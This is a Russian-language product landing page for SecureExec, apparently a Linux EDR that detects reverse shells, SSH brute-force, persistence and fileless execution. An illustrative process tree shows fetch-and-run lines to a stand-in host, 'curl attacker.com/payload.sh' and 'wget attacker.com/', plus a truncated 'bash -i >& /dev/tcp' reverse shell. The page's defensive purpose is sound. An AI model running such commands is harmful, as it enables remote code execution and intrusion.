SecureExec
Главная
Решения
ЦеныБлогО нас
ВойтиРегистрация
Reverse shell · SSH brute-force · persistence

Обнаружение reverse shell, SSH brute-force и persistence на Linux

Конкретные техники атак, а не общий EDR. Готовые правила, готовое реагирование, готовая проверка на тестовом хосте.

Проверить 3 Linux-хоста бесплатноСкачать whitepaper · PDF

Что именно мы ловим

Reverse shell, SSH brute-force, закрепление через cron и authorized_keys, инъекции в процессы.

Reverse Shell

Ловит shell-процессы (bash, sh, zsh), устанавливающие исходящие сетевые соединения — техника #1 пост-эксплуатации.

SSH Brute-Force

Stateful-детекция повторных неудачных SSH-входов с одного IP во временном окне, с логикой cooldown.

Закрепление через cron

Алерт на создание cron-задач в /etc/cron.* и /var/spool/cron/ не-системными процессами.

Изменение SSH Authorized Keys

Алерт на запись в любой файл .ssh/authorized_keys процессами, кроме ssh-copy-id.

Process Injection

Детект кросс-процессной записи в память через process_vm_writev — используется инструментами инъекции для записи shellcode в другие процессы.

Fileless-выполнение

memfd_create с последующим exec из /proc/self/fd или /memfd: — основной вектор fileless malware на Linux.

Как выглядит атака с reverse shell в таймлайне

От первой sshd-сессии до исходящего соединения и payload-файла в /tmp — все события связаны в одну ленту с фазами kill chain.

incident-timeline
12:04:01process"sshd" → bash spawned (PID 5678)
12:04:03networkOutbound: 198.51.100.7:443 (TCP)C2
12:04:05fileFile created: /tmp/.payload.shExecution
12:04:06fileFile modified: /etc/cron.d/updatePersistence
12:04:07alertAlert: [high] Cron Persistence

Process tree наглядно показывает reverse shell

sshd → bash → curl → bash -i >&/dev/tcp/... — каждая ветка подсвечена, IOC прикреплены к узлам.

sshd
PID 1234 · root
bash
PID 5678 · user
curl attacker.com/payload.sh
PID 5679 · user
reverse_shell
bash -i >& /dev/tcp/...
PID 5680 · user
wget attacker.com/...
PID 9012 · www-data
IOC: ip:198.51.100.7
Реагирование

Обнаружение и реагирование — не только детекция

Большинство open-source инструментов останавливаются на сборе событий. SecureExec замыкает цикл.

При обнаружении угрозы ваша команда может изолировать хост, уничтожить дерево процессов или заблокировать исполняемый файл — всё из веб-консоли. Без SSH, без ручных действий.

Сетевая изоляция
Отключите хост от сети, не теряя соединение с агентом.
Уничтожить дерево процессов
Завершите всю цепочку атаки от родительского процесса одним кликом.
Блокировка по хешу или пути
Запретите запуск известных вредоносных исполняемых файлов через fanotify — применяется мгновенно.
Глобальный блок-лист
Управляйте правилами блокировки централизованно — они автоматически применяются ко всем устройствам.

Как проверить на тестовом хосте

В безопасной изолированной VM. Проверяем работу детекта, а не учим атаке.

1
Поднимите изолированную VM
Любая Linux VM без выхода в продакшен-сеть. Поставьте на неё SecureExec-агент (curl install).
2
Запустите безопасный тестовый payload
Например, локальный «reverse shell» на самого себя через 127.0.0.1 или статический test event. Конкретные примеры — пришлём в чате поддержки.
3
Посмотрите алерт в консоли
Через несколько секунд правило reverse_shell сработает: алерт, process tree, AI-вердикт. Реагирование — одним кликом.

Поставьте на 1–3 хоста бесплатно

Проверьте детект reverse shell, SSH brute-force и persistence на своих серверах.

Подключить cloudРазвернуть self-hosted
SecureExec

SecureExec — Linux-first EDR для детекции, расследования и реагирования на инциденты на серверах. Cloud или self-hosted.

Продукт
  • Цены
Компания
  • О нас
  • Блог
  • Связаться с отделом продаж
  • Поддержка
Аккаунт
  • Войти
  • Регистрация
Правовая информация
  • Политика конфиденциальности
  • Условия использования

© 2026 SecureExec. Все права защищены.

Built with Rust & Next.js